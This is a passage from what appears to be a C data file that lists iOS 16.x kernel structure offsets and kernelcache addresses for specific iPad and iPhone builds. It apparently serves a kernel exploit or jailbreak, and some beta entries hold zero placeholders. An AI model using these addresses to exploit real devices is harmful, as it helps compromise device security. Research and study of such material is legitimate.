0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a989190,\n            .kernelcache__gPhysBase = 0xfffffe00079a80c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a80c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a62a8,\n            .kernelcache__perfmon_devices = 0xfffffe000a9c43b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcdd0,\n            .kernelcache__ptov_table = 0xfffffe00078f3370,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9c3800,\n            .kernelcache__vm_pages = 0xfffffe00078f0098,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2330,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9c37f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cdf8,\n        },\n\n        // iOS 16.3\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad14,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.3.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad14,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.4\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad14,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.4.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad14,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.5\n        {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:36 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad14,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa81288,\n            .kernelcache__gPhysBase = 0xfffffe0007a8c100,\n            .kernelcache__gPhysSize = 0xfffffe0007a8c100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a8a2d8,\n            .kernelcache__perfmon_devices = 0xfffffe000aabf520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d9214,\n            .kernelcache__ptov_table = 0xfffffe00079d7180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aabe990,\n            .kernelcache__vm_pages = 0xfffffe00079d3ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d6130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aabe988,\n            .kernelcache__vn_kqfilter = 0xfffffe0008125d84,\n        },\n    \n    //Xs max 16.1.2\n    {\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20B110\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a221150,\n        .kernelcache__gPhysBase = 0xfffffff0078179d8,\n        .kernelcache__gPhysSize = 0xfffffff0078179d8 + 8,\n        .kernelcache__gVirtBase = 0xfffffff007815bc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a25c300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e6e79c,\n        .kernelcache__ptov_table = 0xfffffff0077cb890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25b780,\n        .kernelcache__vm_pages = 0xfffffff0077c86c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ca850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25b778,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec0d00,\n    },\n\n    //beta iOS\n    // iPhone XR 16.2 beta 1\n    // iOS 16.2 //\n        {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Sun Oct 16 17:48:37 PDT 2022; root:xnu-8792.60.32.0.1~10/RELEASE_ARM64_T8020\",\n        .build_version = \"20C5032e\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a16d9a8,\n        .kernelcache__gPhysBase = 0xfffffff007807bc0,\n        .kernelcache__gPhysSize = 0xfffffff007807bc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007805da0,\n        .kernelcache__perfmon_devices = 0xfffffff00a1a9530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e53d18,\n        .kernelcache__ptov_table = 0xfffffff0077bb348,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1a8900,\n        .kernelcache__vm_pages = 0xfffffff0077b8180,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ba308,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1a88f8,\n        